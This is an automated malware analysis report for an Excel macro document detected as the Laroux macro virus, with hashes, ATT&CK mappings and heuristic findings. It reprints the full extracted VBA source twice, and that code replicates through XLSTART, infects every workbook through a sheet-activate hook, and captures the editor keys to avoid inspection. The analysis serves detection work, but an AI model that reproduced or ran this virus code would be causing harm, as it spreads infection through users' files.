Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8c31d36e518fc3b…

MALICIOUS

Office (OLE)

467.0 KB Created: 2014-11-21 05:29:08 First seen: 2015-01-15
MD5: eeceb4bfdefc3bcdebc549c7a5776c46 SHA-1: 28cd8f50cfa176528fb5468facf2b2b1bc14e442 SHA-256: f8c31d36e518fc3b4a5be3929fe46ba3a37bdc216e6a9612ded65e279d0c5f69
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros with an Auto_Open subroutine that copies the workbook to the Excel XLSTART startup folder, establishing persistence. It also hooks Excel events like OnSheetActivate and OnKey to evade inspection and maintain its presence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "StartUp.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3214 bytes
SHA-256: 523b9fcc4605f2b2573a0ceed726ce1282132b0fe2010f3070b24d26bb97e017
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "StartUp_2"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.